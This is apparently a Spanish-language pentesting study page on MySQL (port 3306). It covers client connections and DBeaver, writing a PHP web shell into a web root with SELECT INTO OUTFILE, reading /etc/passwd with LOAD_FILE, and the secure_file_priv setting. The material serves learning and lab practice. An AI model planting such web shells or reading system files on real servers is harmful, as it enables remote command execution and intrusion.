MySQL Port (3306)

Connecting to database

Tools to Interact with MySQL

  • dbeaver

  • MySQL Workbench

MySQL

Para interactuar con MySQL, podemos usar los binarios de MySQL para Linux (mysql) o Windows (mysql.exe). MySQL viene preinstalado en algunas distribuciones de Linux, pero también podemos instalar los binarios manualmente siguiendo una guía específica.

Iniciar una sesión SQL interactiva en Linux:

gzzcoo@htb[/htb]$ mysql -h 10.129.20.13 -u username -p'Password123'

Iniciar una sesión SQL interactiva en Windows:

C:\htb> mysql.exe -u username -pPassword123 -h 10.129.20.13

DBeaver

Install DBeaver

Para instalar dbeaver usando un paquete Debian podemos descargar el paquete release .deb desde https://github.com/dbeaver/dbeaver/releases y ejecutar el siguiente comando:

gzzcoo@htb[/htb]$ sudo dpkg -i dbeaver-<version>.deb

Run DBeaver

Para iniciar la aplicación utilice:

gzzcoo@htb[/htb]$ dbeaver & disown 2>/dev/null

Video - Connecting to MySQL DB using dbeaver


Write Local Files

MySQL no tiene un procedimiento almacenado como xp_cmdshell, pero podemos lograr la ejecución de comandos si escribimos en una ubicación del sistema de archivos que pueda ejecutar nuestros comandos. Por ejemplo, supongamos que MySQL se ejecuta en un servidor web basado en PHP u otros lenguajes como ASP.NET. Si tenemos los privilegios adecuados, podemos intentar escribir un archivo usando SELECT INTO OUTFILE en el directorio del servidor web. Luego, podemos navegar hasta la ubicación del archivo y ejecutar nuestros comandos.

mysql> SELECT "<?php echo shell_exec($_GET['cmd']);?>" INTO OUTFILE '/var/www/html/webshell.php';

Query OK, 1 row affected (0.001 sec)

Read Local Files

Como mencionamos anteriormente, por defecto una instalación de MySQL no permite la lectura arbitraria de archivos, pero si la configuración es la adecuada y contamos con los privilegios necesarios, podemos leer archivos utilizando los siguientes métodos:

mysql> select LOAD_FILE("/etc/passwd");

+--------------------------+
| LOAD_FILE("/etc/passwd")
+--------------------------------------------------+
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

<SNIP>

Secure File Privileges

En MySQL, una variable de sistema global llamada secure_file_priv limita el efecto de las operaciones de importación y exportación de datos, como las realizadas por las sentencias LOAD DATA y SELECT … INTO OUTFILE, así como por la función LOAD_FILE(). Estas operaciones solo están permitidas para los usuarios que tengan el privilegio FILE.

secure_file_priv puede configurarse de las siguientes maneras:

  • Si está vacía, la variable no tiene efecto, lo cual no es una configuración segura.

  • Si está configurada con el nombre de un directorio, el servidor limita las operaciones de importación y exportación solo a ese directorio. El directorio debe existir; el servidor no lo crea automáticamente.

  • Si está configurada como NULL, el servidor desactiva completamente las operaciones de importación y exportación.

En el siguiente ejemplo, podemos ver que la variable secure_file_priv está vacía, lo que significa que podemos leer y escribir datos usando MySQL:

mysql> show variables like "secure_file_priv";

+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+

1 row in set (0.005 sec)

Última actualización

¿Te fue útil?